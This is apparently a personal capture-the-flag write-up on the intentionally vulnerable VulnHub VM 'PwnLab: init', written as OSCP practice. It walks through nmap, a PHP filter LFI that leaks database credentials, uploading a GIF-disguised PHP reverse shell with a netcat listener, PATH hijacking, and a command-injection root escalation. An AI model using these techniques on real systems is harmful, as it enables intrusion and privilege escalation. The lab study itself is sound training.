PwnLab Write-Up


To prepare for OSCP1 I’m planning to do a whole bunch of VulnHub VMs and other challenges. Doing these VMs and creating write-ups should give a good amount of practice before I start with the actual PWK1 course.

PwnLab: init

From the VM description: Welcome to “PwnLab: init”, my first Boot2Root virtual machine. Meant to be easy, I hope you enjoy it and maybe learn something. The purpose of this CTF is to get root and read the flag2.

Setup

I’m using VMware with two VMs: Kali 2018.1 and PwnLab.

Scanning & Enumeration

Let’s start out with the usual Nmap scan to get a quick overview of what is running on the VM.

root@kali-vm:~# nmap -T4 -sV 192.168.30.131

Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-17 13:59 MST
Nmap scan report for 192.168.30.131
Host is up (0.0026s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
111/tcp  open  rpcbind 2-4 (RPC #100000)
3306/tcp open  mysql   MySQL 5.5.47-0+deb8u1
MAC Address: 00:0C:29:48:A5:59 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.61 seconds

I also tried some scans with rpcclient and enum4linux, but to no avail. So the next step is to play around on the website and see if that might lead to something.

One thing to note is that it is interesting that the MySQL server is public facing and not restricted to the localhost - only the website needs to access the DB, no one else…

Web Vulnerabilities

Fairly quickly I discovered a file inclusion vulnerability via the URL to read the website’s source code, and after scanning through the code for a bit it became clear there was a secondary file inclusion vulnerability in a piece of unused code. Because there is an upload page, it seems like it’s possible to upload a file and use that secondary LFI to setup a reverse shell.

http://192.168.30.131/?page=php://filter/convert.base64-encode/resource=index

--snip--
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
--snip--

Sadly any attempts at SQL injection failed, but then I remembered that there was an available MySQL server and that we can read the site’s source. So let’s use the database credentials from the config.php file to attempt to log into MySQL.

http://192.168.30.131/?page=php://filter/convert.base64-encode/resource=config

<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

Connect to MySQL to hopefully find user credentials!

root@kali-vm:~# mysql -u "root" -h 192.168.30.131 -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 82
Server version: 5.5.47-0+deb8u1 (Debian)

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Users              |
+--------------------+
2 rows in set (0.00 sec)

MySQL [(none)]> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users           |
+-----------------+
1 row in set (0.00 sec)

MySQL [Users]> select * from users;
+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.00 sec)

Great, no hashes, just base64 encoded.

kent:JWzXuBJJNy
mike:SIfdsTEn6I
kane:iSv5Ym2GRo

These credentials can now be used to login and upload our standard PHP shell3. Due to the checks in the PHP code it is only possible to upload image files, so the easiest way to do this is by using GIF as that magic number only consists of alphabetical characters and numbers. So I rename the php shell to shell.gif and add the magic number to the file to pass the upload file checks.

GIF89a
 
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET['ip'];
$port = $_GET['port']; // 443
$chunk_size = 1400;

As a side note I want to note that it is generally better to use POST instead of GET requests.

With the PHP shell uploaded, even with the gif extension, it’s possible to use the secondary LFI to run it. To achieve this you have to add the lang cookie with the path to the uploaded file and load the index page of the website.

HTTP OPTIONSFig 1. lang cookie

Basic Shell

Awww yeaa, a basic shell.

root@kali-vm:~# nc -lvp 443
listening on [any] 443 ...
192.168.30.131: inverse host lookup failed: Unknown host
connect to [192.168.30.130] from (UNKNOWN) [192.168.30.131] 60313
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
 14:35:40 up  1:07,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

Here I’m going to skip some of the things I tried as quite a bit of time passed. I looked at version numbers and tried some kernel exploits but those all didn’t work. At some point in time I realised that I did not spawn a full shell4.

$ python -c 'import pty; pty.spawn("/bin/bash");'

Quickly after getting the full TTY session I tried logging in with the credentials from the MySQL database. While not all credentials worked, I could log in as Kane and located in his home directory is an interesting file, msgmike, that might provide a way to escalate privileges to the user Mike as Mike’s credentials did not work.

With a little bit of basic analysis the executable seems to use the cat command. This can most likely be abused because only the command itself is used and not a full path or something along those lines.

kane@pwnlab:~$ strings msgmike
--snip--
cat /home/mike/msg.txt
--snip--

To abuse this I created a script in /tmp/pwn called cat and added the tmp directory to PATH to ensure that /tmp/pwn is checked for the presence of cat. Don’t forget to make the script executable, I definitely did not forget to do this and spend a bit of time frustrated with why it wasn’t working :P.

/tmp/pwn/cat:

#!/bin/bash
/bin/bash
kane@pwnlab:~$ chmod -x /tmp/pwn/cat
kane@pwnlab:~$ export PATH=/tmp/pwn:$PATH
kane@pwnlab:~$ ./msgmike
mike@pwnlab:~$ whoami
mike

Privilege Escalation

Great, now I’m Mike, but Mike ain’t root. Fortunately Mike has a file in his home directory to communicate with root called msg2root. Sadly this executable uses a full path in its use of echo - /bin/echo.

/bin/echo %s >> /root/messages.txt

But then it dawned on me, if you look at that line it seems that user input will essentially replace %s, which made me wonder what would happen if you would include semicolons in the messsage.

mike@pwnlab:/home/mike$ ./msg2root
Message for root: test; test2; test3;
test; test2; test3;
test
sh: 1: test2: not found
sh: 1: test3: not found

Cool, now to abuse this.

mike@pwnlab:/home/mike$ ./msg2root                    
Message for root: hello root; bash -p
hello root
bash-4.3# whoami
root

bash-4.3# cat flag.txt
.-=~=-.                                                                 .-=~=-.
(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
(_ ___)  _____                             _                            (_ ___)
(__  _) /  __ \                           | |                           (__  _)
( _ __) | /  \/ ___  _ __   __ _ _ __ __ _| |_ ___                      ( _ __)
(__  _) | |    / _ \| '_ \ / _` | '__/ _` | __/ __|                     (__  _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                     (_ ___)
(__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                     (__  _)
( _ __)                     __/ |                                       ( _ __)
(__  _)                    |___/                                        (__  _)
(__  _)                                                                 (__  _)
(_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
(__  _) this challenge.                                                 (__  _)
(_ ___)                                                                 (_ ___)
( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
(__  _) reading it                                                      (__  _)
(__  _)                                                                 (__  _)
(__  _)                                             For sniferl4bs.com  (__  _)
( _ __)                                [email protected] - @Chronicoder  ( _ __)
(__  _)                                                                 (__  _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-'                                                                 `-._.-'

Additional Notes / Lessons Learned


  1. OSCP ↩︎

  2. PwnLab ↩︎

  3. PHP Reverse Shell ↩︎

  4. Spawning a TTY Shell ↩︎